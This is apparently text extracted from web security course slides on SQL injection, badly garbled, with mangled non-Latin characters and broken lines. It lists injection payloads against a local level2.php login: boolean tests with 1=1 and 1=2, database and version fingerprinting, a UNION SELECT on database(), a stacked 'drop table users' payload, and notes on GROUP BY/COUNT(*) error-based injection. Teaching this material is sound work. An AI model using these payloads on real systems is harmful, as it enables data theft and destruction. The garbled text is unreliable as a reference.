
ч

ч 10:00 ð11:30е 2111ж

ч 12:00 ð13:30е 205B ж

чhttps://www.youwei.site/course/websecurity

https://www.youwei.site/course/websecurity










1. SQL

2. SQL

3. SQL

4. NoSQL
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PHP SQL ч

1=1й1=2 SQL

http://localhost/level2.php?username=admin&passwo
rd=admin123
SQL :

http://localhost/level2.php?username=admin&password=admin12
3' and 1=1 -- a
SQL :

http://localhost/level2.php?username=admin&password=ad
min123' and 1=2 -- a
SQL :

йlevel2.php SQL

http://localhost/level2.php?username=admin&password=admin123
http://localhost/level2.php?username=admin&password=admin123%27%20and%201=1%20--%20a
http://localhost/level2.php?username=admin&password=admin123%27%20and%201=2%20--%20a


MS SQL Server userӁdb_name() й
SQL Server й ч

Åhttp://localhost/level2.php?username=admin&passw
ord=admin123' and user()>0 -- a

Åhttp://localhost/level2.php?username=admin&passw
ord=admin123' and db_name()>0 -- a

MySQL 5ч

Åhttp://localhost/level2.php?username=admin&passw
ord=admin123' and substring(@@version,1,1)=5 -- a
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information_schema .tables

table_schema

information_schema .columns

table_schema table_name



select

Order by

Limit

insert/delete/update





username=admin001&password=123' 
union select 1,2,3,4,database() -- a







⃰Ẃ‬ ᴯ֧ εᵋֱӑ ֹ￼Ҡⱡῗ

⃰Ẃ￼ӡỤι јῗ├Ԅ￼ӡỤζ

чkasilab



mysql_multi_query()

test123'; drop table users; -- a
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group by

GROUP BY column_name



group by
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[0,1,1,0,1]

x COUNT(*)



x, COUNT(*) = 0, 1

x, COUNT(*) = 1, 1

x COUNT(*)

1 1
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[0,1,1,0,1]

[0,1,1,0,1]



x, COUNT(*) = 1, 1

x=1, COUNT(*)+1

[0,1,1,0,1]

x COUNT(*)
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x, COUNT(*) = 0, 1

x, COUNT(*) = 1, 1 => 

[0,1,1,0,1]

[0,1,1,0,1]
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